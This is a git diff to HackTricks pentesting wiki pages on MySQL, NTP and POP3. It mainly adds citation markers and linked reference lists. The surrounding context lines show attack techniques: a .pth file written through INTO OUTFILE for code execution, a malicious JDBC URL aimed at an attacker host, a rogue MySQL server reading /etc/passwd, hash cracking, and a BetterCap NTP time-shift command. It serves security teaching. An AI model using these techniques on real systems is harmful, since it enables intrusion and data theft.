HackTricks-wiki · carlospolop · Jul 30, 2026 · Aug 6, 2026 · Aug 6, 2026 · Aug 6, 2026
diff --git a/src/network-services-pentesting/pentesting-mysql.md b/src/network-services-pentesting/pentesting-mysql.md
@@ -126,7 +126,7 @@ You can see in the docs the meaning of each privilege: [https://dev.mysql.com/do
 
 #### INTO OUTFILE → Python `.pth` RCE (site-specific configuration hooks)
 
-Abusing the classic `INTO OUTFILE` primitive it is possible to obtain *arbitrary code execution* on targets that later run **Python** scripts.
+Abusing the classic `INTO OUTFILE` primitive it is possible to obtain *arbitrary code execution* on targets that later run **Python** scripts.<sup>[[1]](#references)</sup>
 
 1. Use `INTO OUTFILE` to drop a custom **`.pth`** file inside any directory loaded automatically by `site.py` (e.g. `.../lib/python3.10/site-packages/`).
 2. The `.pth` file can contain a *single line* starting with `import ` followed by arbitrary Python code which will be executed every time the interpreter starts.
@@ -188,9 +188,9 @@ mysql> load data infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n';
 ERROR 1290 (HY000): The MySQL server is running with the --secure-file-priv option so it cannot execute this statement
 ```
 
-**Initial PoC:** [**https://github.com/allyshka/Rogue-MySql-Server**](https://github.com/allyshka/Rogue-MySql-Server)\
-**In this paper you can see a complete description of the attack and even how to extend it to RCE:** [**https://paper.seebug.org/1113/**](https://paper.seebug.org/1113/)\
-**Here you can find an overview of the attack:** [**http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/**](http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/)
+**Initial PoC:** [**https://github.com/allyshka/Rogue-MySql-Server**](https://github.com/allyshka/Rogue-MySql-Server) <sup>[[2]](#references)</sup>\
+**In this paper you can see a complete description of the attack and even how to extend it to RCE:** [**https://paper.seebug.org/1113/**](https://paper.seebug.org/1113/) <sup>[[3]](#references)</sup>\
+**Here you can find an overview of the attack:** [**http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/**](http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/) <sup>[[4]](#references)</sup>
 
 
 
@@ -336,7 +336,7 @@ SELECT 1 INTO OUTFILE 'C:\\MySQL\\lib\\plugin::$INDEX_ALLOCATION';
 -- After this, `C:\\MySQL\\lib\\plugin` exists as a directory
 ```
 
-This turns limited `SELECT ... INTO OUTFILE` into a more complete primitive on Windows stacks by bootstrapping the folder structure needed for UDF drops.
+This turns limited `SELECT ... INTO OUTFILE` into a more complete primitive on Windows stacks by bootstrapping the folder structure needed for UDF drops.<sup>[[5]](#references)</sup>
 
 ### Extracting MySQL credentials from files
 
@@ -751,7 +751,7 @@ jdbc:mysql://<attacker-ip>:3306/test?user=root&password=root&propertiesTransform
 ```
 
 Running `Evil.class` can be as easy as producing it on the class-path of the vulnerable application or letting a rogue MySQL server send a malicious serialized object. The issue was fixed in Connector/J 8.0.33 – upgrade the driver or explicitly set `propertiesTransform` on an allow-list.  
-(See Snyk write-up for details)  
+(See Snyk write-up for details)<sup>[[6]](#references)</sup>  
 
 ### Rogue / Fake MySQL server attacks against JDBC clients
 Several open-source tools implement a *partial* MySQL protocol in order to attack JDBC clients that connect outwards:
@@ -771,7 +771,7 @@ Example one-liner to start a fake server (Java):
 java -jar fake-mysql-cli.jar -p 3306  # from 4ra1n/mysql-fake-server
 ```
 
-Then point the victim application to `jdbc:mysql://attacker:3306/test?allowLoadLocalInfile=true` and read `/etc/passwd` by encoding the filename as base64 in the *username* field (`fileread_/etc/passwd` → `base64ZmlsZXJlYWRfL2V0Yy9wYXNzd2Q=`).
+Then point the victim application to `jdbc:mysql://attacker:3306/test?allowLoadLocalInfile=true` and read `/etc/passwd` by encoding the filename as base64 in the *username* field (`fileread_/etc/passwd` → `base64ZmlsZXJlYWRfL2V0Yy9wYXNzd2Q=`).<sup>[[7]](#references)</sup>
 
 ### Cracking `caching_sha2_password` hashes
 MySQL ≥ 8.0 stores password hashes as **`$mysql-sha2$`** (SHA-256). Both Hashcat (mode **21100**) and John-the-Ripper (`--format=mysql-sha2`) support offline cracking since 2023. Dump the `authentication_string` column and feed it directly:
@@ -795,13 +795,13 @@ john --format=mysql-sha2 hashes.txt --wordlist=/path/to/wordlist
 ---
 
 ## References
-- [Pre-auth SQLi to RCE in Fortinet FortiWeb (watchTowr Labs)](https://labs.watchtowr.com/pre-auth-sql-injection-to-rce-fortinet-fortiweb-fabric-connector-cve-2025-25257/)
-- [Oracle MySQL Connector/J propertiesTransform RCE – CVE-2023-21971 (Snyk)](https://security.snyk.io/vuln/SNYK-JAVA-COMMYSQL-5441540)
-- [mysql-fake-server – Rogue MySQL server for JDBC client attacks](https://github.com/4ra1n/mysql-fake-server)
-- [The Art of PHP: CTF‑born exploits and techniques](https://blog.orange.tw/posts/2025-08-the-art-of-php-ch/)
 
-
-
-- [Pre-auth SQLi to RCE in Fortinet FortiWeb (watchTowr Labs)](https://labs.watchtowr.com/pre-auth-sql-injection-to-rce-fortinet-fortiweb-fabric-connector-cve-2025-25257/)
+- [1] [Pre-auth SQLi to RCE in Fortinet FortiWeb (watchTowr Labs)](https://labs.watchtowr.com/pre-auth-sql-injection-to-rce-fortinet-fortiweb-fabric-connector-cve-2025-25257/)
+- [2] [allyshka/Rogue-MySql-Server – rogue MySQL server PoC for client-side arbitrary file read](https://github.com/allyshka/Rogue-MySql-Server)
+- [3] [MySQL client arbitrary file read: full attack description and RCE extension (paper.seebug.org)](https://paper.seebug.org/1113/)
+- [4] [MySQL client "connect & file read" attack overview (russiansecurity.expert)](http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/)
+- [5] [The Art of PHP: CTF‑born exploits and techniques](https://blog.orange.tw/posts/2025-08-the-art-of-php-ch/)
+- [6] [Oracle MySQL Connector/J propertiesTransform RCE – CVE-2023-21971 (Snyk)](https://security.snyk.io/vuln/SNYK-JAVA-COMMYSQL-5441540)
+- [7] [mysql-fake-server – Rogue MySQL server for JDBC client attacks](https://github.com/4ra1n/mysql-fake-server)
 
 {{#include ../banners/hacktricks-training.md}}
diff --git a/src/network-services-pentesting/pentesting-ntp.md b/src/network-services-pentesting/pentesting-ntp.md
@@ -57,7 +57,7 @@ chronyc -a -n sources -v -h <IP>
 chronyc -a -n sourcestats -h <IP>
 ```
 
-See the chronyc man page for the meaning of the **M/S** flags and other fields (stratum, reach, jitter, etc.).
+See the chronyc man page for the meaning of the **M/S** flags and other fields (stratum, reach, jitter, etc.).<sup>[[9]](#references)</sup>
 
 ### Nmap
 
@@ -90,12 +90,12 @@ Pay special attention to ``restrict`` lines, ``kod`` (Kiss-o'-Death) settings, `
 
 | Year | CVE | Component | Impact |
 |------|-----|-----------|--------|
-| 2023 | **CVE-2023-26551→26555** | ntp 4.2.8p15 (libntp *mstolfp*, *praecis_parse*) | Multiple out-of-bounds writes reachable via **ntpq** responses. Patch in **4.2.8p16** 🡒 upgrade or back-port fixes. |
-| 2023 | **CVE-2023-33192** | **ntpd-rs** (Rust implementation) | Malformed **NTS** cookie causes remote **DoS** prior to v0.3.3 – affects port 123 even when NTS **disabled**. |
-| 2024 | distro updates | **chrony 4.4 / 4.5** – several security hardening & NTS-KE fixes (e.g. SUSE-RU-2024:2022) |
-| 2024 | Record DDoS | Cloudflare reports a **5.6 Tbps UDP reflection** attack (NTP among protocols used). Keep *monitor* & *monlist* disabled on Internet-facing hosts. |
+| 2023 | **CVE-2023-26551→26555** | ntp 4.2.8p15 (libntp *mstolfp*, *praecis_parse*) | Multiple out-of-bounds writes reachable via **ntpq** responses. Patch in **4.2.8p16** 🡒 upgrade or back-port fixes.<sup>[[5]](#references)</sup> |
+| 2023 | **CVE-2023-33192** | **ntpd-rs** (Rust implementation) | Malformed **NTS** cookie causes remote **DoS** prior to v0.3.3 – affects port 123 even when NTS **disabled**.<sup>[[6]](#references)</sup> |
+| 2024 | distro updates | **chrony 4.4 / 4.5** – several security hardening & NTS-KE fixes (e.g. SUSE-RU-2024:2022)<sup>[[7]](#references)</sup> |
+| 2024 | Record DDoS | Cloudflare reports a **5.6 Tbps UDP reflection** attack (NTP among protocols used). Keep *monitor* & *monlist* disabled on Internet-facing hosts.<sup>[[3]](#references)</sup> |
 
-> **Exploit kits**: Proof-of-concept payloads for the 2023 ntpq OOB-write series are on GitHub (see Meinberg write-up) and can be weaponised for client-side phishing of sysadmins. 
+> **Exploit kits**: Proof-of-concept payloads for the 2023 ntpq OOB-write series are on GitHub (see Meinberg write-up) and can be weaponised for client-side phishing of sysadmins.<sup>[[5]](#references)</sup> 
 
 ---
 ## Advanced Attacks
@@ -156,7 +156,7 @@ port:4460 "ntske"         # NTS-KE
 | Tool | Purpose | Example |
 |------|---------|---------|
 | ``ntpwn`` | Script-kiddie wrapper to spray monlist & peers queries | ``python ntpwn.py --monlist targets.txt`` |
-| **zgrab2 ntp** | Mass scanning / JSON output including monlist flag | See command above |
+| **zgrab2 ntp** | Mass scanning / JSON output including monlist flag<sup>[[10]](#references)</sup> | See command above |
 | ``chronyd`` with ``allow`` | Run rogue NTP server in pentest lab | ``chronyd -q 'server 127.127.1.0 iburst'`` |
 | ``BetterCap`` | Inject NTP packets for time-shift MITM on Wi-Fi | ``set arp.spoof.targets <victim>; set ntp.time.delta 30s; arp.spoof on`` |
 
@@ -187,13 +187,13 @@ Entry_2:
 
 - [1] [RFC 8915 – Network Time Security for the Network Time Protocol (port 4460)](https://www.rfc-editor.org/rfc/rfc8915)
 - [2] [RFC 8633 – Network Time Protocol BCP](https://www.rfc-editor.org/rfc/rfc8633)
-- [3] Cloudflare DDoS report 2024 Q4 (5.6 Tbps)
-- [4] Cloudflare *NTP Amplification Attack* article
-- [5] NTP 4.2.8p15 CVE series 2023-04
-- [6] NVD entries CVE-2023-26551–55, CVE-2023-33192
-- [7] SUSE chrony security update 2024 (chrony 4.5)
-- [8] Khronos/Chronos draft (time-shift mitigation)
-- [9] chronyc manual/examples for remote monitoring
-- [10] zgrab2 ntp module docs
+- [3] [Cloudflare – Record-breaking 5.6 Tbps DDoS attack and global DDoS trends for 2024 Q4](https://blog.cloudflare.com/ddos-threat-report-for-2024-q4/)
+- [4] [Cloudflare Learning Center – NTP Amplification DDoS Attack](https://www.cloudflare.com/learning/ddos/ntp-amplification-ddos-attack/)
+- [5] [NVD – CVE-2023-26551 (ntp 4.2.8p15 out-of-bounds write series)](https://nvd.nist.gov/vuln/detail/CVE-2023-26551)
+- [6] [NVD – CVE-2023-33192 (ntpd-rs NTS cookie denial of service)](https://nvd.nist.gov/vuln/detail/CVE-2023-33192)
+- [7] [SUSE – Recommended update for chrony (SUSE-RU-2024:2022-1)](https://www.suse.com/support/update/announcement/2024/suse-ru-20242022-1/)
+- [8] [RFC 9523 – A Secure Selection and Filtering Mechanism for the Network Time Protocol with Khronos](https://www.rfc-editor.org/rfc/rfc9523)
+- [9] [chrony project – chronyc(1) manual](https://chrony-project.org/doc/4.5/chronyc.html)
+- [10] [zgrab2 – ntp module](https://github.com/zmap/zgrab2/tree/master/modules/ntp)
 
 {{#include ../banners/hacktricks-training.md}}
diff --git a/src/network-services-pentesting/pentesting-pop.md b/src/network-services-pentesting/pentesting-pop.md
@@ -38,7 +38,7 @@ The `pop3-ntlm-info` plugin will return some "**sensitive**" data (Windows versi
 
 ## POP syntax
 
-POP commands examples from [here](http://sunnyoasis.com/services/emailviatelnet.html)
+POP commands examples from [here](http://sunnyoasis.com/services/emailviatelnet.html)<sup>[[1]](#references)</sup>
 
 ```bash
 POP commands:
@@ -128,7 +128,8 @@ Entry_6:
 
 ```
 
-{{#include ../banners/hacktricks-training.md}}
-
+## References
 
+- [1] [Sending and Receiving Email via Telnet](http://sunnyoasis.com/services/emailviatelnet.html)
 
+{{#include ../banners/hacktricks-training.md}}